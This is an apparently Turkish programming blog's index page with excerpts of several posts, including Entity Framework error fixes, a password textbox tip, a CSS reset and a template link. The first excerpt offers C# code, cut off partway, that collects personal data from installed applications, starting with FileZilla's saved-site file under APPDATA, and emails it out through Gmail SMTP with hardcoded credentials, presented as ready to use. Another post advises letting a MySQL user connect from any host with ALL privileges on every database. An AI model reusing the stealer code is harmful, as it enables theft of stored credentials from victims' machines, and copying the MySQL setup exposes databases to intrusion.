Kayıtlar

C# Tarayıcı Bilgilerini Çekme

Resim
Arkadaşlar merhaba. Boş vakti güzel değerlendiriyim dedim şöyle bişi hazırladım. Kodlar ile başlıktaki uygulamaların kişisel bilgilerini çekip mail olarak alıyoruz. Güle güle kullanıyoruz. //sizi ilgilendiren kısım string mailadresi = "cikiciki@gmail.com"; //gondericek mail adresi string mailsifresi = "teleley"; //gondericek mail sifresi string alicimail = "b4r1s@live.nl"; // alıcı mail adresi //sizi ilgilendiren kısım MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); mail.From = new MailAddress(mailadresi); mail.To.Add(alicimail); string icerik = "Mail İçeriği ; \n"; Attachment eklenti; try { eklenti = new Attachment(Environment.GetEnvironmentVariable("APPDATA") + "\\FileZilla\\sitemanager.x

mysql e dışarıdan bağlanmak

mysql e dışarıdan bağlanmak Farklı bir sunucuda bulunduracağınız mysql server ınıza erişebilmek için yapmanız gereken çok basit bir işlemdir. Veri tabanında kullanıcı oluştur herhangi bir makineden bağlanması için Herhangi ana makineyi seç ve % işaretiyle kullanıcı oluştur.. sonra Mysql server ın çalıştığı sunucu üzerinde / etc/mysql/my.cnf  dosyamızı açıyoruz , bind-address            = 127.0.0.1  olan bölümü bu sunucunun ip si ile değiştiriyoruz  yada başına yıldız koyuyoruz ... Tüm yapmanız gereken sadece bukadar… Kodla Kullanıcı Oluşturma CREATE USER 'username' @ '%' IDENTIFIED BY 'password' ; GRANT ALL ON *.* TO 'username' @ '%' ;

textbox type=password değer atama

Client - Side İşlemlerde ; PasswordText .Text = "Password"   yerine PasswordText.Attributes.Add("value", "ThePassword"); kullanılmalı. (Cookies vb...)

EntityType 'MyProfile' has no key defined. Define the key for this EntityType

EntityType 'MyProfile' has no key defined. Define the key for this EntityType Tablolarınızda birincil anahtar olması gerekiyor. Veri tabanındaki tablolarınızı kontrol edin.. 

45 HTML5 ve CSS3 template free

http://www.1stwebdesigner.com/css/fresh-free-html5-and-css3-templates/

The specified named connection is either not found in the configuration, not intended to be used with the EntityClient provider, or not valid. Hatası

Entity Framework kullanılırken yeni bir datamodel oluşturuyoruz. Ancak projemizi çalıştırınca "The specified named connection is either not found in the configuration, not intended to be used with the EntityClient provider, or not valid." hatası alıyoruz. Bunun sebebi arkadaşlar EF nin bağlantı cümlesini sadece bir yere yani app.config dosyasına eklemiş olmasıdır. Fakat VS malesef bağlanmak için web config doyasına bakmaktadır. Bu durumda bağlantı cümlemizi aşağıda görüldüğü gibi web config dosyamıza taşımamız halinde tüm sorun çözülecektir. Bu kodları system.web düğümünün üstüne yerleştiriyoruz.   <connectionStrings>     <add name="BilgiBankasiEntities" connectionString="metadata=res://*/BilgiBankasi.csdl|res://*/BilgiBankasi.ssdl|res://*/BilgiBankasi.msl;provider=System.Data.SqlClient;provider connection string=&quot;Data Source=OMP_COMPUTER;Initial Catalog=BilgiBankasi;Integrated Security=True;MultipleActiveResultSets=True&am

CSS Reset / CSS Sıfırlama

/* http://meyerweb.com/eric/tools/css/reset/ v2.0 | 20110126 License: none (public domain) */ html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { margin: 0; padding: 0; border: 0; font-size: 100%; font: inherit; vertical-align: baseline; } /* HTML5 display-role reset for older browsers */ article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { display: block; } body { line-height: 1; } ol, ul { list-style: none; } blockquote, q { quotes: none; } blockquote:before, blockquote:after, q:before, q:after { content: '